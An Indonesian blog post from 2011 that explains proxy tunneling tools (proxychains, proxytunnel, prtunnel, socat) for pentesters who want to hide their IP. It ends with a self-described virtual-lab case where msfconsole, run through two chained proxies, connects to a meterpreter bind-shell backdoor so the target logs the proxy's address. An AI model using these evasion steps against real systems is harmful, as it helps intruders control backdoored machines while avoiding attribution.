pentest through tunneling – escape via proxy


kembali lagi dengan ian hrm.Kali ini saya coba bagi – bagi sedikit teknik tentang tunneling.Tunneling merupakan salah satu teknik yang digunakan untuk mencegah Tracking ( pelacakan ) ketika melakukan penetration testing.Secara umum untuk menyembunyikan alamat IP yang kita gunakan dengan memanfaatkan resource jaringan yang lain,misalnya proxy,host,server dll.Teknik tunneling sendiri ada beberapa macam.sesuai dengan kondisi.misalnya tunneling menggunakan proxy,tor,atau dengan SSH

Beberapa Tools yang sering ane gunakan diantaranya :

1.Proxychains
mmm..Aplikasi yang sangat sering saya gunakan.salah satu kelebihannya aplikasi ini bisa digunakan untuk tunneling dengan lebih dari 5 proxy..tapi dengan resiko bandwidth jadi terkuras alias lemot..Aplikasi ini bisa didownload dihttp://proxychains.sourceforge.net/.
bagi yang sering pake backtrack aplikasi ini sudah ada didalam.bagi pengguna ubuntu install dengan sudo apt-get install proxychains.
konfigurasinya juga cukup gampang.file konfignya biasanya ada pada /etc/proxychains.conf.
config :

Protokol Alamat_Ip_Proxy Port_proxy

contoh :

http 192.168.10.100 8080

setelah konfigurasi dah siap,tinggal dijalankan aja proxchains.

root@vee-lab:~# proxychains
ProxyChains-3.1 (http://proxychains.sf.net)
usage:
proxychains [args]

poxychain memerlukan aplikasi tambahn yang akan dijalankan lewat tunneling..
tenang aja…tar ada contoh kasusnya..:)

2.proxytunnel
download from : http://proxytunnel.sourceforge.net/
sebenarnya aplikasi ini menurut ane digunakan untuk port mapping antara port yang satu dan yang lain pada host tertentu.misalnya port 80 yang akan dikunjungi,maka proxytunnel akan membuat sebuah port yang digunakan untuk berkomunikasi dengan port 80 tersebut.isitilahnya membuat lokal proxy sendiri.
config :

root@vee-lab:~# proxytunnel -h
proxytunnel 1.9.0 (rev 0) Copyright 2001-2008 Proxytunnel Project
Usage: proxytunnel [OPTIONS]…
Build generic tunnels trough HTTPS proxy’s, supports HTTP authorization

Standard options:
-i, –inetd Run from inetd (default=off)
-a, –standalone=INT Run as standalone daemon on specified port
-p, –proxy=STRING Local proxy host:port combination
-r, –remproxy=STRING Remote proxy host:port combination (using 2 proxies)
-d, –dest=STRING Destination host:port combination
-e, –encrypt SSL encrypt data between local proxy and destination
-E, –encrypt-proxy SSL encrypt data between client and local proxy
-X, –encrypt-remproxy Encrypt between 1st and 2nd proxy using SSL

Additional options for specific features:
-F, –passfile=STRING File with credentials for proxy authentication
-P, –proxyauth=STRING Proxy auth credentials user:pass combination
-R, –remproxyauth=STRING Remote proxy auth credentials user:pass combination
-N, –ntlm Use NTLM based authentication
-t, –domain=STRING NTLM domain (default: autodetect)
-H, –header=STRING Add additional HTTP headers to send to proxy
-x, –proctitle=STRING Use a different process title

Miscellaneous options:
-v, –verbose Turn on verbosity
-q, –quiet Suppress messages
-h, –help Print help and exit
-V, –version Print version and exit
root@vee-lab:~#

untuk pemakaian dengan proxy standar alias no authentication,beberapa opsi yang digunakan antara lain -a ( standalone ),-p (proxy setting ), -d ( tujuan )
contoh :

proxytunnel -a 1234 -p proxy-1.example.com:8080 -d target.example.com:80

dari contoh diatas komunikasi dengan host target.example.com port 80 bisa digantikan dengan komunikasi localhost port 1234,tentunya yang sudah menggunakan tunneling

3.Prtunnel
aplikasi ini baru – baru ane pake.pas ketika pentest menggunakan jaringan tor ( tar ane jelasin :p ) kesulitan untuk melakukan tunneling dengan SOCK coz ane pake MacOsx.coba install proxychains tapi gagal terus.pake proxytunnel tapi nda support SOCKS.setelah itu dapat beberapa solusinya misalnya pake prtunnel atau pake usewithtor,Socat.bagi penggunakan macosx bisa nginstall aplikasi ini dengan cara sudo port install prtunnel ( macport harus sudah di install🙂 ).
opsi :

MyVe:~ ian$ prtunnel
prtunnel 0.2.7
The latest version can be found at http://joshbeam.com/software/prtunnel.php
Copyright (C) 2002-2006 Josh A. Beam
There is NO WARRANTY for this software.

usage: prtunnel [options] [ ]

(If run without the and options, prtunnel will
accept SOCKS4/SOCKS5 commands to determine the remote server to connect to.)

options:
-D Run as a daemon. prtunnel will run in the background
and accept multiple TCP connections with this option.
-V Verbose output
-c Use color to differentiate between incoming
and outgoing data in verbose output
-6 Use IPv6; prtunnel must be compiled with IPv6 support
-t Set proxy type. Valid types are http (default),
socks5, direct, direct6
-H Set proxy server hostname
-P Set proxy server port; defaults are 8080 for http,
1080 for socks5
-T

Add a trusted address. For security reasons, only
127.0.0.1 is trusted by default. See the prtunnel
man page or README file for more information.
-u Set authentication username
-p Set authentication password
–password-prompt Prompt for proxy username and password
–http-1.0 Use HTTP/1.0 instead of HTTP/1.1 for HTTP connections
–telnet-keep-alive
Causes prtunnel to send keep-alive data at the
specified interval, using the telnet NOP command
–crlf-keep-alive
Causes prtunnel to send keep-alive data at the
specified interval, using a CRLF
–irc-auto-pong Causes prtunnel to automatically respond to PING
commands sent by IRC servers
–timeout Allows you to set a client socket timeout; if no data
is recieved from the client for seconds, the
connection will be closed
–server-timeout
Allows you to set a server socket timeout; if no data
is recieved from the remote host for seconds,
the connection will be closed
-h, –help Show this help message
-v, –version Show version information

contoh :

prtunnel -t type_proxy -H alamat_ip_proxy -P port_proxy
prtunnel -t http -H 192.168.10.10 -P 8080 1234 192.168.10.100 80

sama seperti proxytunnel,prtunnel juga berfungsi sebagai lokal proxy ( port 1234 pada contoh diatas ).kelebihan prtunnel adalah support untuk beberapa type proxy misalnya http,socks5,direct,direct6.

4.Socat
aplikasi favourite kedua setelah proxychains.aplikasi ini memiliki segudang feature.
opsi

MyVe:~ ian$ socat -h
socat by Gerhard Rieger – see http://www.dest-unreach.org
Usage:
socat [options]
options:
-V print version and feature information to stdout, and exit
-h|-? print a help text describing command line options and addresses
-hh like -h, plus a list of all common address option names
-hhh like -hh, plus a list of all available address option names
-d increase verbosity (use up to 4 times; 2 are recommended)
-D analyze file descriptors before loop
-ly[facility] log to syslog, using facility (default is daemon)
-lf log to file
-ls log to stderr (default if no other log)
-lm[facility] mixed log mode (stderr during initialization, then syslog)
-lp set the program name used for logging
-lu use microseconds for logging timestamps
-lh add hostname to log messages
-v verbose data traffic, text
-x verbose data traffic, hexadecimal
-b set data buffer size (8192)
-s sloppy (continue on error)
-t wait seconds before closing second channel
-T total inactivity timeout in seconds
-u unidirectional mode (left to right)
-U unidirectional mode (right to left)
-g do not check option groups
-L try to obtain lock, or fail
-W try to obtain lock, or wait
-4 prefer IPv4 if version is not explicitly specified
-6 prefer IPv6 if version is not explicitly specified
bi-address:
pipe[,] groups=FD,FIFO
!!

single-address:

[,]
address-head:
create: groups=FD,REG,NAMED
exec: groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
fd: groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
gopen: groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
ip-datagram:: groups=FD,SOCKET,RANGE,IP4,IP6
ip-recv: groups=FD,SOCKET,RANGE,IP4,IP6
ip-recvfrom: groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
ip-sendto:: groups=FD,SOCKET,IP4,IP6
ip4-datagram:: groups=FD,SOCKET,RANGE,IP4
ip4-recv: groups=FD,SOCKET,RANGE,IP4
ip4-recvfrom: groups=FD,SOCKET,CHILD,RANGE,IP4
ip4-sendto:: groups=FD,SOCKET,IP4
ip6-datagram:: groups=FD,SOCKET,RANGE,IP6
ip6-recv: groups=FD,SOCKET,RANGE,IP6
ip6-recvfrom: groups=FD,SOCKET,CHILD,RANGE,IP6
ip6-sendto:: groups=FD,SOCKET,IP6
open: groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
openssl:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
openssl-listen: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
pipe: groups=FD,FIFO,NAMED,OPEN
proxy::: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
pty groups=FD,NAMED,TERMIOS,PTY
readline groups=FD,READLINE,TERMIOS
socket-connect::: groups=FD,SOCKET,CHILD,RETRY
socket-datagram:::: groups=FD,SOCKET,RANGE
socket-listen::: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
socket-recv:::: groups=FD,SOCKET,RANGE
socket-recvfrom:::: groups=FD,SOCKET,CHILD,RANGE
socket-sendto:::: groups=FD,SOCKET
socks4::: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
socks4a::: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
stderr groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdin groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdio groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdout groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
system: groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
tcp-connect:: groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
tcp-listen: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
tcp4-connect:: groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
tcp4-listen: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
tcp6-connect:: groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
tcp6-listen: groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
udp-connect:: groups=FD,SOCKET,IP4,IP6,UDP
udp-datagram:: groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-listen: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
udp-recv: groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-recvfrom: groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
udp-sendto:: groups=FD,SOCKET,IP4,IP6,UDP
udp4-connect:: groups=FD,SOCKET,IP4,UDP
udp4-datagram:: groups=FD,SOCKET,RANGE,IP4,UDP
udp4-listen: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
udp4-recv: groups=FD,SOCKET,RANGE,IP4,UDP
udp4-recvfrom:: groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
udp4-sendto:: groups=FD,SOCKET,IP4,UDP
udp6-connect:: groups=FD,SOCKET,IP6,UDP
udp6-datagram:: groups=FD,SOCKET,RANGE,IP6,UDP
udp6-listen: groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
udp6-recv: groups=FD,SOCKET,RANGE,IP6,UDP
udp6-recvfrom: groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
udp6-sendto:: groups=FD,SOCKET,IP6,UDP
unix-client: groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-connect: groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-listen: groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
unix-recv: groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-recvfrom: groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
unix-sendto: groups=FD,SOCKET,NAMED,RETRY,UNIX

contoh :

socat TCP4-LISTEN:1234 TCP4:proxy.example.com:8080

setelah dijalankan,maka socat akan membuka port 1234.dengan port inilah kita bisa melakukan tunneling.misalnya untuk melakukan scanning,pentesting yang tentunya sudah ditunnel.

sebenarnya masih banyak aplikasi tunneling tapi mungkin aplikasi – aplikasi diatas yang populer.
wokeehhh..seperti janji ane diatas.akan ane kasi salah satu contoh kasus.pada contoh ini saya menggunakan 2 kali tunneling.

data
system : virtualisasi
target_ip : 192.168.10.50 port 4444 ( meterpreter bind shell )
proxy-1 : 192.168.10.10 port 3128
proxy-2 : 192.168.10.30 port 8080
hacker_ip : 192.168.10.2
program tunneling : proxychains

topology :

komputer target sebelumnya sudah dibackdoor dengan metasploit meterpreter
1. konfigurasi proxychains

http 192.168.10.10 3128
http 192.168.10.30 8080

2. Konfigurasi metasploitnya

root@vee-lab:~# cat multi_handler.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 192.168.10.50
set LPORT 4444
exploit

3. metasploit dijalankan

proxychains msfconsole -r multi_handler.rc

4.hasilnya:

proxychain melakukan tunneling terhadap aplikasi msfconsole melalui 2 proxy.
5.jika dilihat dari mesin target :

alamat ip yang terkoneksi dengan port 4444 adalah alamat ip dari proxy-2 bukan dari alamat ip attacker.:)…percobaannya berhasil.

Note : semua percobaan dilakukan dilab sendiri dengan mesin virtualisasi..
jangan lupa dikoment ya..hehehehe

selamat mencoba

— ian hrm a.k.a laharisi —

Posted on April 20, 2011, in Hacking & security, tunneling and tagged , , , , , , . Bookmark the permalink. Leave a comment.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: